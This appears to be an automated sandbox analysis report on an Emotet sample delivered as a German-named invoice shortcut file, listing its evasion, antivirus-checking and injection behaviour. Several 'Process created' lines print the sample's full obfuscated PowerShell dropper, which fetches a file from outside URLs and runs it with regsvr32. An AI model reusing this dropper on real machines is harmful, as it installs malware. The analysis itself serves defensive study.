Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\svchost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\svchost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3696 Thread sleep count: 6543 > 30 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3696 Thread sleep count: 2933 > 30 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5620 Thread sleep time: -11990383647911201s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5988 Thread sleep time: -1844674407370954s >= -30000s Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 6148 Thread sleep time: -30000s >= -30000s Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 2276 Thread sleep time: -60000s >= -30000s Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Found evasive API chain (may stop execution after checking a module file name)
Source: C:\Windows\System32\regsvr32.exe Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess
Contains long sleeps (>= 3 min)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 6543 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 2933 Jump to behavior
Queries disk information (often used to detect virtual machines)
Source: C:\Windows\System32\svchost.exe File opened: PhysicalDrive0 Jump to behavior
Found large amount of non-executed APIs
Source: C:\Windows\System32\regsvr32.exe API coverage: 8.7 %
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information queried: ProcessInformation Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_00000001800248B0 FindFirstFileW,FindNextFileW,FindClose, 9_2_00000001800248B0
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\regsvr32.exe API call chain: ExitProcess graph end node
Source: C:\Windows\System32\regsvr32.exe API call chain: ExitProcess graph end node
Source: C:\Windows\System32\regsvr32.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: svchost.exe, 00000010.00000002.526941758.000002E1B7E29000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW@a
Source: svchost.exe, 00000010.00000002.528849751.000002E1BD862000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: @Hyper-V RAW
Source: powershell.exe, 00000002.00000002.302723143.00000166F7EB0000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWf
Source: svchost.exe, 00000007.00000002.526437619.00000209F5A02000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: HvHostWdiSystemHostScDeviceEnumWiaRpctrkwksAudioEndpointBuilderhidservdot3svcDsSvcfhsvcWPDBusEnumsvsvcwlansvcEmbeddedModeirmonSensorServicevmicvssNgcSvcsysmainDevQueryBrokerStorSvcvmickvpexchangevmicshutdownvmicguestinterfacevmicvmsessionNcbServiceNetmanDeviceAssociationServiceTabletInputServicePcaSvcIPxlatCfgSvcCscServiceUmRdpService
Source: regsvr32.exe, 00000009.00000002.526839029.000000000084B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000002.528796992.000002E1BD855000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001A.00000002.527691265.000002B9834EE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001A.00000002.527574160.000002B9834CA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001A.00000002.527202097.000002B98348B000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: regsvr32.exe, 00000009.00000002.526688728.000000000080C000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW`
Source: svchost.exe, 00000007.00000002.526570774.00000209F5A40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.526897876.0000020E43266000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000A.00000002.526749079.000001D4A3C24000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: regsvr32.exe, 00000009.00000002.526839029.000000000084B000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW$
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_00007FFFE21EBE50 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 6_2_00007FFFE21EBE50
Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_00007FFFE21F0215 _itow_s,_invoke_watson_if_error,OutputDebugStringW,OutputDebugStringW,OutputDebugStringW,OutputDebugStringW,OutputDebugStringW,_wcsftime_l,_invoke_watson_if_oneof,_invoke_watson_if_error,_invoke_watson_if_error,_invoke_watson_if_error,_invoke_watson_if_error,_invoke_watson_if_error,_snwprintf_s,_invoke_watson_if_oneof,_invoke_watson_if_error,_invoke_watson_if_oneof,_invoke_watson_if_error,_unlock,GetFileType,WriteConsoleW,GetLastError,_invoke_watson_if_oneof,WriteFile,WriteFile,OutputDebugStringW,_itow_s,_invoke_watson_if_error, 6_2_00007FFFE21F0215
Contains functionality to dynamically determine API calls
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_00007FFFE21F12E3 LoadLibraryW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,DecodePointer,DecodePointer,DecodePointer, 6_2_00007FFFE21F12E3
Enables debug privileges
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_00007FFFE21EBE50 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 6_2_00007FFFE21EBE50
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_00007FFFE21E3280 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 6_2_00007FFFE21E3280

HIPS / PFW / Operating System Protection Evasion
barindex
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\System32\regsvr32.exe Network Connect: 173.82.82.196 8080 Jump to behavior
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Source: unknown Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe" /v:on /c DZ9UkEaBzDep9CltZVGcsQuzGzfPdwf8nTfLANcu0jNEGxiW7YvnGsgahEnFDklFWCuez6Py||p^o^w^e^r^s^h^e^l^l.e^x^e -c "&{$vFL=[System.Text.Encoding]::ASCII;$FhuEB='ICAgICAgV';$TCeK='3JpdGUtSG9zdCAiemdmSXoiOyRQcm9ncmVzc1ByZWZlcmVuY2U9IlNpbGVudGx5Q29udGludWUiOyRsaW5rcz0oImh0dHA6Ly9tYW5kb20uY28uaWQvYXNzZXRzL1RwSUl0N1NtTkJzV0NFQ0xvSHJTLyIsImh0dHA6Ly95YW1hZGEtc2hvc2hpLm1haW4uanAveWFtYWRhLXNob3NoaS9WNjFoSC8iLCJodHRwczovL2Jwc2phbWJpLmlkL2Fib3V0L1ZQZTY5QTlUay8iLCJodHRwOi8vbWFybWFyaXMuY29tLmJyL3dwLWFkbWluLzJjZnBTdUFILyIsImh0dHA6Ly9tYXNpZGlvbWFzLmNvbS9ENFdTdGF0cy9HQWhtZ3ZoTGdVbjYvIiwiaHR0cDovL3BhY2VtYWtlci5jZC9pbWFnZXMvWGMvIik7JHQ9Ikp5ZGdWdmJQRCI7JGQ9IiRlbnY6VE1QXC4uXCR0Ijtta2RpciAtZm9yY2UgJGQgfCBvdXQtbnVsbDtmb3JlYWNoICgkdSBpbiAkbGlua3MpIHt0cnkge0lXUiAkdSAtT3V0RmlsZSAkZFxNZXZnTXZvcGF3LkJVUztSZWdzdnIzMi5leGUgIiRkXE1ldmdNdm9wYXcuQlVTIjticmVha30gY2F0Y2ggeyB9fQ==';$cFq=[System.Convert]::FromBase64String($FhuEB+$TCeK);$YnYHG=$vFL.GetString($cFq); iex ($YnYHG)}
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -c "&{$vFL=[System.Text.Encoding]::ASCII;$FhuEB='ICAgICAgV';$TCeK='3JpdGUtSG9zdCAiemdmSXoiOyRQcm9ncmVzc1ByZWZlcmVuY2U9IlNpbGVudGx5Q29udGludWUiOyRsaW5rcz0oImh0dHA6Ly9tYW5kb20uY28uaWQvYXNzZXRzL1RwSUl0N1NtTkJzV0NFQ0xvSHJTLyIsImh0dHA6Ly95YW1hZGEtc2hvc2hpLm1haW4uanAveWFtYWRhLXNob3NoaS9WNjFoSC8iLCJodHRwczovL2Jwc2phbWJpLmlkL2Fib3V0L1ZQZTY5QTlUay8iLCJodHRwOi8vbWFybWFyaXMuY29tLmJyL3dwLWFkbWluLzJjZnBTdUFILyIsImh0dHA6Ly9tYXNpZGlvbWFzLmNvbS9ENFdTdGF0cy9HQWhtZ3ZoTGdVbjYvIiwiaHR0cDovL3BhY2VtYWtlci5jZC9pbWFnZXMvWGMvIik7JHQ9Ikp5ZGdWdmJQRCI7JGQ9IiRlbnY6VE1QXC4uXCR0Ijtta2RpciAtZm9yY2UgJGQgfCBvdXQtbnVsbDtmb3JlYWNoICgkdSBpbiAkbGlua3MpIHt0cnkge0lXUiAkdSAtT3V0RmlsZSAkZFxNZXZnTXZvcGF3LkJVUztSZWdzdnIzMi5leGUgIiRkXE1ldmdNdm9wYXcuQlVTIjticmVha30gY2F0Y2ggeyB9fQ==';$cFq=[System.Convert]::FromBase64String($FhuEB+$TCeK);$YnYHG=$vFL.GetString($cFq); iex ($YnYHG)}"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -c "&{$vFL=[System.Text.Encoding]::ASCII;$FhuEB='ICAgICAgV';$TCeK='3JpdGUtSG9zdCAiemdmSXoiOyRQcm9ncmVzc1ByZWZlcmVuY2U9IlNpbGVudGx5Q29udGludWUiOyRsaW5rcz0oImh0dHA6Ly9tYW5kb20uY28uaWQvYXNzZXRzL1RwSUl0N1NtTkJzV0NFQ0xvSHJTLyIsImh0dHA6Ly95YW1hZGEtc2hvc2hpLm1haW4uanAveWFtYWRhLXNob3NoaS9WNjFoSC8iLCJodHRwczovL2Jwc2phbWJpLmlkL2Fib3V0L1ZQZTY5QTlUay8iLCJodHRwOi8vbWFybWFyaXMuY29tLmJyL3dwLWFkbWluLzJjZnBTdUFILyIsImh0dHA6Ly9tYXNpZGlvbWFzLmNvbS9ENFdTdGF0cy9HQWhtZ3ZoTGdVbjYvIiwiaHR0cDovL3BhY2VtYWtlci5jZC9pbWFnZXMvWGMvIik7JHQ9Ikp5ZGdWdmJQRCI7JGQ9IiRlbnY6VE1QXC4uXCR0Ijtta2RpciAtZm9yY2UgJGQgfCBvdXQtbnVsbDtmb3JlYWNoICgkdSBpbiAkbGlua3MpIHt0cnkge0lXUiAkdSAtT3V0RmlsZSAkZFxNZXZnTXZvcGF3LkJVUztSZWdzdnIzMi5leGUgIiRkXE1ldmdNdm9wYXcuQlVTIjticmVha30gY2F0Y2ggeyB9fQ==';$cFq=[System.Convert]::FromBase64String($FhuEB+$TCeK);$YnYHG=$vFL.GetString($cFq); iex ($YnYHG)}" Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -c "&{$vFL=[System.Text.Encoding]::ASCII;$FhuEB='ICAgICAgV';$TCeK='3JpdGUtSG9zdCAiemdmSXoiOyRQcm9ncmVzc1ByZWZlcmVuY2U9IlNpbGVudGx5Q29udGludWUiOyRsaW5rcz0oImh0dHA6Ly9tYW5kb20uY28uaWQvYXNzZXRzL1RwSUl0N1NtTkJzV0NFQ0xvSHJTLyIsImh0dHA6Ly95YW1hZGEtc2hvc2hpLm1haW4uanAveWFtYWRhLXNob3NoaS9WNjFoSC8iLCJodHRwczovL2Jwc2phbWJpLmlkL2Fib3V0L1ZQZTY5QTlUay8iLCJodHRwOi8vbWFybWFyaXMuY29tLmJyL3dwLWFkbWluLzJjZnBTdUFILyIsImh0dHA6Ly9tYXNpZGlvbWFzLmNvbS9ENFdTdGF0cy9HQWhtZ3ZoTGdVbjYvIiwiaHR0cDovL3BhY2VtYWtlci5jZC9pbWFnZXMvWGMvIik7JHQ9Ikp5ZGdWdmJQRCI7JGQ9IiRlbnY6VE1QXC4uXCR0Ijtta2RpciAtZm9yY2UgJGQgfCBvdXQtbnVsbDtmb3JlYWNoICgkdSBpbiAkbGlua3MpIHt0cnkge0lXUiAkdSAtT3V0RmlsZSAkZFxNZXZnTXZvcGF3LkJVUztSZWdzdnIzMi5leGUgIiRkXE1ldmdNdm9wYXcuQlVTIjticmVha30gY2F0Y2ggeyB9fQ==';$cFq=[System.Convert]::FromBase64String($FhuEB+$TCeK);$YnYHG=$vFL.GetString($cFq); iex ($YnYHG)}" Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\regsvr32.exe "C:\Windows\system32\regsvr32.exe" C:\Users\user\AppData\Local\Temp\..\JydgVvbPD\MevgMvopaw.BUS Jump to behavior

Language, Device and Operating System Detection
barindex
Yara detected Obfuscated Powershell
Source: Yara match File source: Rechnungskorrektur 2022.20.05_1305.lnk, type: SAMPLE
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_00007FFFE21E8900 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter, 6_2_00007FFFE21E8900
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_00007FFFE21E8860 HeapCreate,GetVersion,HeapSetInformation, 6_2_00007FFFE21E8860

Lowering of HIPS / PFW / Operating System Security Settings
barindex
Changes security center settings (notifications, updates, antivirus, firewall)
Source: C:\Windows\System32\svchost.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center cval Jump to behavior
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Source: C:\Windows\System32\svchost.exe WMI Queries: IWbemServices::ExecNotificationQuery - ROOT\SecurityCenter : SELECT * FROM __InstanceOperationEvent WHERE TargetInstance ISA 'AntiVirusProduct' OR TargetInstance ISA 'FirewallProduct' OR TargetInstance ISA 'AntiSpywareProduct'
Source: C:\Windows\System32\svchost.exe WMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : FirewallProduct
Source: C:\Windows\System32\svchost.exe WMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : AntiVirusProduct
Source: C:\Windows\System32\svchost.exe WMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : AntiSpywareProduct
AV process strings found (often used to terminate AV products)
Source: svchost.exe, 0000000D.00000002.526834421.0000017433051000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: (@\REGISTRY\USER\S-1-5-19ws Defender\MsMpeng.exe
Source: svchost.exe, 0000000D.00000002.526889365.0000017433102000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.526730292.000001743302A000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Stealing of Sensitive Information
barindex
Yara detected Emotet
Source: Yara match File source: 6.2.regsvr32.exe.1de0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.regsvr32.exe.730000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.regsvr32.exe.730000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.regsvr32.exe.1de0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000006.00000002.302284085.0000000001DE0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.528233629.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.302481665.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.526430630.0000000000730000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
